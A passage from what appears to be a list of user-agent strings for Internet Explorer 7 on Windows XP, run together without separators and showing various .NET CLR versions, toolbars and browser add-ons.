2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; InfoPath.1; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322) Paros/3.2.13 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC S; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50110; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.7.2 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.507277777) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.5.30428) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Sleipnir/2.6.0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Sleipnir/2.8.0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.0.3705; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.0.3705; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.5.30428) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30428) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; AskTB5.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zune 4.7) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; Seekmo 10.0.275.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Media Center PC 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zune 3.0; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152) Sleipnir/2.5.13 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.2; MSSDMC2.5.2219.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; Crazy Browser 3.0.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MEGAUPLOAD 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.0.1.20094) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTB5.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Avalon 6.0.5070; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Crazy Browser 3.0.0 Beta2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; HbTools 4.7.5; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Crazy Browser 3.0.0 Beta2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 5.0 alpha3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.314.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.427.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zune 2.0; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 